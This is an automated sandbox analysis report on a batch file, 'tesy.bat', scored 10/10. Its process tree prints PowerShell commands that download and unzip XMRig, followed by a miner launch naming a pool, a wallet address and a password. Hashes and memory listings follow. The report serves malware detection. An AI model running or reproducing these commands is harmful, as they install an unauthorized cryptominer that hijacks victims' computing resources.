Resubmissions

Analysis

  • max time kernel
    1796s
  • max time network
    1801s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    06/01/2024, 15:09

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4000
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2316
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4200

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    1b728c66d9d8ab45419642e5a9450ec5

    SHA1

    ce068c436e80757815483f9ccc0f653e3e8d97b0

    SHA256

    86df7df17951a55edf0e49e028d2ad6fcc347136a184ad122fc7ccb3800381b4

    SHA512

    42d2312e2bf4e2e309b80d808402610baf7dd82fc652758a82585be58d44f01b96254890143b86a90e828bcb5a0b0746ab865029a6940fb096e4082fbbd36419

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wnutt0hc.a3c.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    1.5MB

    MD5

    199c5ce09bb6ee82d098ee983562577f

    SHA1

    726df85b2e37f1a7b5eff73d6d3b3cd39aa096b3

    SHA256

    eede9776358ade05bd34348ed8d937e50e304b0749fd772ebbebf3f979d32bff

    SHA512

    8abbd0c7647ea6ffb5a7712a2c3ec1f39f01ab220dfcee1a8989744434e42a08b0aa11ffa709176bd4798b015290c6a936c01983beaeeb54228bfcaffeaa007d

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    293KB

    MD5

    968506d9614bdc9a09f96a7e56bf6335

    SHA1

    56ae6acd3ecb6ea4572bea629a1a5e67a10a38cf

    SHA256

    dfc7e7b86fee11bda2fb3ca1cd71a906ee0936f11f373eab0cbd1c536e0c1d31

    SHA512

    79ee1a790b62203bc2c8db4dd9f3616af397075379978648157a2e492e4a1397fd00857c0a900ed6bd19c9b5950cd78658644300eed40614facdc987ace1f5e2

  • memory/1300-4-0x000001FC79C60000-0x000001FC79C82000-memory.dmp

    Filesize

    136KB

  • memory/1300-5-0x00007FFF53FC0000-0x00007FFF549AC000-memory.dmp

    Filesize

    9.9MB

  • memory/1300-8-0x000001FC79EA0000-0x000001FC79EB0000-memory.dmp

    Filesize

    64KB

  • memory/1300-7-0x000001FC79EA0000-0x000001FC79EB0000-memory.dmp

    Filesize

    64KB

  • memory/1300-10-0x000001FC7A010000-0x000001FC7A086000-memory.dmp

    Filesize

    472KB

  • memory/1300-25-0x000001FC79EA0000-0x000001FC79EB0000-memory.dmp

    Filesize

    64KB

  • memory/1300-30-0x00007FFF53FC0000-0x00007FFF549AC000-memory.dmp

    Filesize

    9.9MB

  • memory/2316-35-0x00007FFF53FC0000-0x00007FFF549AC000-memory.dmp

    Filesize

    9.9MB

  • memory/2316-37-0x000001D9C6BD0000-0x000001D9C6BE0000-memory.dmp

    Filesize

    64KB

  • memory/2316-38-0x000001D9C6BD0000-0x000001D9C6BE0000-memory.dmp

    Filesize

    64KB

  • memory/2316-62-0x000001D9C6BD0000-0x000001D9C6BE0000-memory.dmp

    Filesize

    64KB

  • memory/2316-76-0x000001D9C6D20000-0x000001D9C6D32000-memory.dmp

    Filesize

    72KB

  • memory/2316-89-0x000001D9C6BC0000-0x000001D9C6BCA000-memory.dmp

    Filesize

    40KB

  • memory/2316-113-0x00007FFF53FC0000-0x00007FFF549AC000-memory.dmp

    Filesize

    9.9MB

  • memory/4200-141-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-151-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-118-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-119-0x000001C71D150000-0x000001C71D170000-memory.dmp

    Filesize

    128KB

  • memory/4200-120-0x000001C71D170000-0x000001C71D190000-memory.dmp

    Filesize

    128KB

  • memory/4200-121-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-122-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-123-0x000001C71D150000-0x000001C71D170000-memory.dmp

    Filesize

    128KB

  • memory/4200-124-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-125-0x000001C71D170000-0x000001C71D190000-memory.dmp

    Filesize

    128KB

  • memory/4200-126-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-127-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-128-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-129-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-130-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-131-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-132-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-133-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-134-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-135-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-136-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-137-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-138-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-139-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-140-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-116-0x000001C71B810000-0x000001C71B830000-memory.dmp

    Filesize

    128KB

  • memory/4200-142-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-143-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-144-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-145-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-146-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-147-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-148-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-149-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-150-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-117-0x000001C71D110000-0x000001C71D150000-memory.dmp

    Filesize

    256KB

  • memory/4200-152-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-153-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-154-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-155-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-156-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-157-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-158-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-159-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-160-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-161-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-162-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-163-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-164-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-165-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-166-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-167-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-168-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-169-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-170-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-171-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-172-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-173-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-174-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-175-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-176-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-177-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-178-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-179-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-180-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-181-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-182-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-183-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-184-0x00007FF617960000-0x00007FF618463000-memory.dmp

    Filesize

    11.0MB